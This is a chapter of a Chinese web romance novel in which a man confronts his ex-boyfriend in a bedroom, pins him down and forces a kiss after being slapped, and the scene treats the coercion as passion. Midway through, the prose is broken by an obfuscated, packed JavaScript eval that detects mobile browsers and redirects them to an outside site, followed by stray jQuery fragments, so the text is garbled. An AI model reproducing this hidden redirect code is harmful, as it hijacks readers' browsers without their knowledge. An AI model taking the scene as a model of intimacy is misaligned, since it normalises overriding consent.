10.第 10 章

作品:《男友上司是我前男友

    席清蜷缩着身体,躺在床上没动:“何楠,你让我自己呆一会儿吧,我想安静一下。”


    “何楠”没有出声。


    席清这才睁开眼看过去,然后就吓了一跳。


    门口站着的人,根本不是他以为会追来的何楠。


    是陆行舟。


    高大的身影几乎堵住了整个门框,走廊昏暗的光线从他身后透进来,勾勒出他冷硬利落的轮廓。他不知何时换下了西装,穿着剪裁合体的深灰色休闲衬衫,袖口随意挽至小臂,露出结实流畅的线条。


    但他周身散发出的气息,比在餐厅洗手间时更加沉凝、更加具有压迫感。那张英俊的脸上没有任何表情,薄唇紧抿,深邃的眼眸如同不见底的寒潭,沉沉地锁在席清惊惶失措的脸上。


    “席清。”陆行舟的声音不高,却像冻结的冰,穿透室内的寂静,“我们谈谈。”


    他站在那里,好像笃定了席清会同意一般。


    谈谈?


    谈什么?


    谈他这几年像个可怜虫一样一直崩溃吗?


    还是谈谈他们两个人之前那不值一提的虚幻的爱情?


    真可笑啊。


    他都不知道为什么,明明是两个人的感情,动情的是他,失意的也是他,分开后心绪难平的也是他,时隔三年,挣扎着好不容易忘掉的也是他。


    而陆行舟呢?在这段感情里,他永远那么理智、成熟、稳重,永远都懂得取舍,永远都知道该怎么全身而退。


    更让席清崩溃的是,三年前,在他们分开后,他还曾经期盼过,期盼着陆行舟会回头。


    他明明很好哄的啊。


    倘若分开以后,陆行舟找到他,两个人能够坐下来好好谈一谈,倘若陆行舟有过哪怕一丝一毫的改变,他都觉得,自己未必不会回头。


    看吧,有的时候,他觉得自己也挺犯贱的。


    可陆行舟从来没有找过他。


    他对他,像是对待一条狗一样,高兴了才哄一下,他不是喜欢狗,只是享受狗的全世界只有他的感觉,享受着一回家就有一条乖顺的狗贴上来求摸求抱的感觉。


    一个人出门的时候,怎么会惦记家里的狗呢。


    席清闭上眼。


    他有一瞬间的哽咽,很快又把情绪咽下:“滚出去。”


    陆行舟有一瞬间的怔愣。


    席清从来没有对他这么凶过。


    从前的席清像是不知疲倦的小狗,永远都爱笑,对着他永远都是好脾气的样子,喜欢粘着他、贴着他。


    即使两个人吵架,他也只是用委屈巴巴的眼神看向他,偶尔说几句难听的话,也只是嘟囔着你不爱我了。


    而现在,席清对他说,滚出去。


    陆行舟脸上的表情凝固了,不是愤怒,也并非阴沉,而是一种极其罕见的短暂的空白,那双总是深不见底、自信能掌控一切的眼睛中清晰地略过一丝难以置信的愕然。


    还有慌乱。


    席清对他没有了眷恋,更不会拥有两个人亲密无间时才会有的委屈,取而代之的是疲惫和麻木。


    他蜷着腿坐在床上,整个人都是一种抗拒说话的姿态。


    陆行舟想到了刚刚他推门进来的时候。


    那时候的席清把自己埋在被子里,姿态慵懒,听见声音头也没抬,自然而然地说话。


    那种信赖的姿态是假装不出来的。


    他在对谁说话?


    他以为进来的是谁?


    ……


    不论是谁,反正不会是他。


    他能够清晰地看见席清眼底对他的厌恶和排斥。


    这个认知让他呼吸一窒。


    短暂的空白后,是下意识汹涌而来的、被冒犯的暴怒。陆行舟周身的气息骤然凝固,他猛地向前一步,直闯到房间里,高大的身影带着沉重的压迫感,将席清笼罩在内。


    “你让我滚?”陆行舟的声音压得极低,每一个字都像是从齿缝里研磨出来的,又像是迫不及待把席清含在嘴里生吞活剥、饮血嚼肉一般。


    他的目光锐利,扫过席清苍白憔悴的面颊,扫过他因激动而微微起伏的胸口,最后落在他那双充满抗拒和恨意的脸上。


    那里面早已经没了他熟悉的温顺和依赖。


    这巨大的落差和赤裸裸的抗拒,像一把火,点燃了陆行舟心底深处被强行压抑了一晚上的不满和怒气。


    他再次逼近,皮鞋踩在地板上发出沉闷的声响,每一步都像是踩在席清紧绷的心弦上。


    他微微俯身,那张冷峻的脸在昏暗的光线下带着骇人的压迫感,冰冷的雪松气息混合着极淡的烟草味,如同实质般裹挟住席清,让他几乎窒息。


    “你在等谁?等何楠?”他终于想起了那个小职员的名字,心里又恨又气又急。


    他伸出手,修长的手指带着不容抗拒的力道,猛地攥住了席清纤细的手腕!


    那触感冰冷而坚硬,如同铁钳,瞬间传来的剧痛让席清闷哼一声,身体下意识地想要蜷缩,却被那只手牢牢固定住,动弹不得。


    “放开我!”席清的声音因为疼痛和极致的愤怒而颤抖变调,他用尽全身力气挣扎,另一只手胡乱地去掰陆行舟的手指,指甲在那冷硬的皮肤上划过,留下几道浅浅的红痕,“陆行舟!你混蛋!放开!”


    陆行舟没放,他瞥了一眼自己手指上的红痕:“我混蛋?”


    他冷笑:“你是不是没见过我更混蛋的时候。”


    他维持着那个下压的姿势,心里情绪烧得太快,他自己都分不清里面更多的是愤怒还是伤心,亦或者是……嫉妒。


    心里那些急剧膨胀的情绪需要一个出口,他弯下腰,逼近席清。


    他的目光落在了席清的唇上。


    这张嘴对着他说过无数的甜言蜜语。席清总以为他不记得,以为他不在乎,但在陆行舟的世界里,他已经习惯了自己去处理所有的事情,消化所有的情绪。


    席清说的话他都记得,是他以为自己不记得了。


    那张从前说着甜言蜜语的、哄骗他的嘴,此时此刻只剩下了尖锐的推离和辱骂。


    席清拼命地推着他,想让他离开,嘴里骂着混蛋、不要脸。


    他的嘴唇在动。


    陆行舟这下是真听不见了。


    他已经很久很久没有吻过席清。


    席清骂了半天,陆行舟只是不语。


    他终于中场休息,却发现陆行舟紧紧盯着他的嘴唇。


    两个人的距离被他拉得很近,近到陆行舟一低头,就能吻到他的嘴。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981045|177205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “互相注视对方的嘴唇十秒钟,会主动亲上对方的嘴的一定是爱人。”


    席清莫名其妙想起这句话。


    这句话,他和陆行舟说过,那时候两个人感情正好,听了这句话陆行舟就放下手里的文件,认真盯着他的嘴看了十秒钟。


    ——那时候陆行舟给了他一个一触即离的吻,笑着说,想让我亲你就早说。


    此时此刻,陆行舟仍旧是半压着他,如果换成从前的席清,他大约是会期待地闭上眼,等待那个吻落下来。


    可现在……


    他的一只手被压着,行动不便,另一只手却是自由的。


    “啪!”


    清脆的耳光声像惊雷一样在寂静的房间里炸开。


    时间仿佛凝固了。


    陆行舟的脸被打得猛地偏向一侧,力度之大,让他甚至趔趄了半步才稳住身形。火辣辣的疼痛感瞬间在左颊蔓延开,口腔里弥漫开一股浓郁的铁锈味,舌尖能清晰地舔到被牙齿磕破的内壁渗出的血沫。


    他维持着偏头的姿势,几秒钟没有动,宽阔的肩膀绷紧得像拉满的弓弦,周身那股骇人的压迫感非但没有减弱,反而如同风暴前的死寂,酝酿着更加恐怖的爆发力。


    席清的手还僵在半空,掌心发麻,微微颤抖。他看着陆行舟迅速泛红的脸颊,看着他舌尖抵着腮帮子舔舐伤口的动作,那点下意识的、源于旧日习惯的担忧和关注,在触及陆行舟此刻冰冷沉寂、如同即将喷发的火山般的侧影时,瞬间被巨大的恐惧和厌恶淹没。


    他猛地收回手,像是被烫到一般,紧紧攥成了拳头,指甲深深陷入掌心。


    他觉得自己大约是真的恨急了陆行舟的,所以才会下意识用这么大的力气。


    他强迫自己移开视线,不再看那张曾让他魂牵梦萦、此刻却只带来无尽痛苦和屈辱的脸。声音被他刻意压得低沉、冰冷,带着一种划清界限的疏离,一字一句,清晰地砸在令人窒息的空气里:


    “陆行舟,你这是X骚扰。”


    “X骚扰”三个字精准地刺穿了陆行舟强装的平静。


    他缓缓地、极其缓慢地转过头。


    他死死地盯着席清。


    “X骚扰?”陆行舟的声音低沉得可怕,每个字都像是从喉咙深处挤压出来,“席清,你他妈说我是X骚扰?”


    他猛地一步跨前,巨大的阴影再次将席清彻底笼罩。席清甚至来不及反应,只觉得一股无法抗拒的巨力狠狠攫住了他刚才打人的那只手腕。


    他的两只手都被陆行舟抓住,强行摁在了头顶。


    陆行舟的力量大得惊人,带着一种失去理智的疯狂。席清被他摁在床上,陆行舟高大的身躯紧紧压着他,两人之间再无一丝缝隙。席清能清晰地感受到陆行舟胸膛剧烈起伏的怒火,能闻到他身上冰冷的雪松气息混合着口腔里淡淡的血腥味。


    “我碰你就是X骚扰?”陆行舟的脸近在咫尺,眼里的疯狂让人心惊。


    他声音嘶哑,带着一种近乎残忍的嘲弄和悲愤:“那我当初睡你的时候,你他妈怎么不告我X骚扰?”


    他越说越怒,被席清那句冰冷的话彻底点燃的暴怒和嫉妒吞噬了最后一丝理智。


    他猛地低下头,带着血腥气的冰冷唇瓣狠狠压向席清那张讨人厌的唇。